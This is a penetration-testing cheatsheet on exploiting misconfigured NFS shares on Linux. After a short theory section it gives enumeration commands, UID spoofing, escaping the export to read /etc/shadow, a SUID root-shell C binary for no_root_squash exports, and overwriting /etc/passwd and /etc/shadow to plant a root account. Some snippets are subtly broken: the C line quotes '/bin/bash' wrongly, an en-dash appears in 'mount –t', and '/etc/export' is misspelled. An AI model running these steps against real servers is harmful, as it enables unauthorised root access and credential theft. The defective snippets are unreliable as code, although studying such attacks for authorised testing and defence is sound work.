NFS

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter **@BIWasp_**.

I will try to put as many links as possible at the end of the page to direct to more complete resources.

General Theory

NFS (*Network File System*) is a solution for mounting and creating network shares, much like SMB. While SMB is predominantly used on Windows, NFS is more commonly used on Linux (although a Windows version also exists).

The protocol is based on a client-server model: the server exports directories (called "exports"), which are accessible to clients via the network. Exports are typically configured via the `/etc/exports` file in Linux, where each line defines an exported directory, the authorised clients, and the associated security options.

Since this solution is mainly found on Linux machines, for the moment this page will only present attacks that can be carried out when NFS is deployed on this OS.

The following information are taken from this article: https://www.hvs-consulting.de/en/blog/nfs-security-identifying-and-exploiting-misconfigurations

This suite of tools allows you to automate a number of attacks: https://github.com/hvs-consulting/nfs-security-tooling. In addition, NXC now has an NFS module.

NFS Security Mechanisms

Authentication

Authentication when accessing an export can be done in three ways:

- `AUTH_SYS`: Default method, not very secure. The client sends a UID/GID, and the server trusts these values without verification. **The only default restriction is that UID 0 (root) is blocked (root_squash).**
- `RPCSEC_GSS`: Uses Kerberos for cryptographic authentication (krb5, krb5i, krb5p levels). Rarely used on Linux due to its complex configuration.
- New: RFC 9289 introduces RPC protection based on TLS (similar to HTTPS), but this implementation is still experimental.

Squashing (UID/GID mapping)

An important principle is present in NFS: *squashing*. This is a technique for mapping the UIDs of users connecting with a local UID to the machine. There are three configurations:

- `root_squash` (default): UID 0 (root) is mapped to a non-privileged user (e.g. nobody).
- `no_root_squash`: Allows clients to access as root, which is dangerous.
- `all_squash`: All UIDs/GIDs are mapped to nobody, limiting privileges.

Subtree check (subtree_check)

When accessing an NFS share, the `subtree_check` parameter allows you to check whether or not the requested path is part of the exported folder.

If the parameter is disabled (**default on Linux**), a client can access files **outside the export on the same file system** by manipulating inodes.

As a result, it is possible, for example, to go up the tree and access non-root files (if root squashing is in place): access to `/etc/shadow` if the file belongs to a non-root group (e.g. shadow has GID 42 on Debian).

Host Restriction

Finally, exports can be restricted by IP, subnet, or host name. However, if the authorised IP ranges are too broad or obsolete, an attacker can spoof an authorised IP.

Vulnerabilities and Exploits

Based on the points presented above, several vulnerabilities and exploits are possible.

Enumeration

The `showmount` command can be used to enumerate a server's shares:

```
showmount -e <target>
```

Nmap can also be used to scan a network to identify NFS servers and identify those that allow anonymous access:

```
nmap -sV --script=nfs-ls -p 111,2049 <target_range>
```

Or with Metasploit:

```
msf auxiliary(nfsmount)
```

Alternatively, with the NetExec module:

```
netexec nfs <target> --shares
```

Standard access to an NFS share via command line

```
mount –t nfs <target>:/remotemountpoint /localmountpoint
```

If error `mount.nfs: Remote I/O error`:

```
mount –t nfs <target>/remotemountpoint /localmountpoint -o nfsvers=3
```

With NetExec:

```
netexec nfs <target> --share "/var/nfs/general" --ls "/"
```

Unauthorised access via `AUTH_SYS`

In the absence of Kerberos, an attacker can spoof any UID/GID to access files, except those

belonging to root (unless `no_root_squash` is enabled).

Tools such as fuse_nfs automate this impersonation, allowing transparent access to files via the file system API.

```
#Check exploitability
python3 fuse_nfs.py <target>:/$EXPORT_PATH /mnt/nfs_fuse --uid 1000 --gid 1000
```

Bypassing exports (subtree_check disabled)

If `subtree_check` is disabled and the export is not the root of the file system (which would make it even simpler), an attacker can read/write files outside the export (e.g. `/var/log/`, `/etc/shadow`).

According to the article, this has been successfully tested on ext4, xfs, and btrfs. ZFS is less vulnerable due to its default configuration.

```
#Check exploitability
python3 nfs_analyze.py <target>

# Mount the share and attack
cd /mnt/nfs_share
ls -la /var/log # Attempt to access outside the export
cat /etc/shadow # If the file is accessible
```

Otherwise, the NetExec module indicates by default in its output whether it is possible to escape from root. Look for `(root escape: True)` (or `False`). If the attack is possible, to list files outside the export, simply use the `--ls` command without specifying a share:

```
netexec nfs <target> --ls "/"
netexec nfs <target> --get-file "/etc/shadow" etc_shadow
```

no_root_squash

If `no_root_squash` is configured, a file can be dropped and executed as root:

```
#Check exploitability
python3 nfs_analyze.py <target> --check-no-root-squash
```

```
#Or by retrieving the /etc/export file, it will be written to it via (rw,no_root_squash)
netexec nfs <target> --get-file "/etc/export" etc_export
```

You can then execute a binary as root:

```
# Create a malicious binary (e.g. root shell)
echo "int main() { setgid(0); setuid(0); system('/bin/bash'); return 0; }" > exploit.c
gcc exploit.c -o exploit
chmod +s exploit # Set the SUID bit

# Copy the binary to the NFS export
cp exploit /mnt/nfs_share/

# On the server or another client, execute the binary
/mnt/nfs_share/exploit
```

If a client mounts an export without the `nosuid` option, a binary with the SUID bit set and owned by root can be executed with root privileges. The attack scenario would therefore be to place a malicious binary on the export and execute it to obtain a root shell.

Alternatively, retrieve the `/etc/shadow` and `/etc/passwd` files as shown above, add a root account to them, and re-upload them:

```
netexec nfs <target> --put-file etc_passwd "/etc/passwd"
netexec nfs <target> --put-file etc_shadow "/etc/shadow"
```

References

- NFS Security: Identifying and Exploiting Misconfigurations
- NFS Security Tooling.

Revision #1
Created 28 October 2025 16:36:20 by BlackWasp
Updated 28 October 2025 16:40:01 by BlackWasp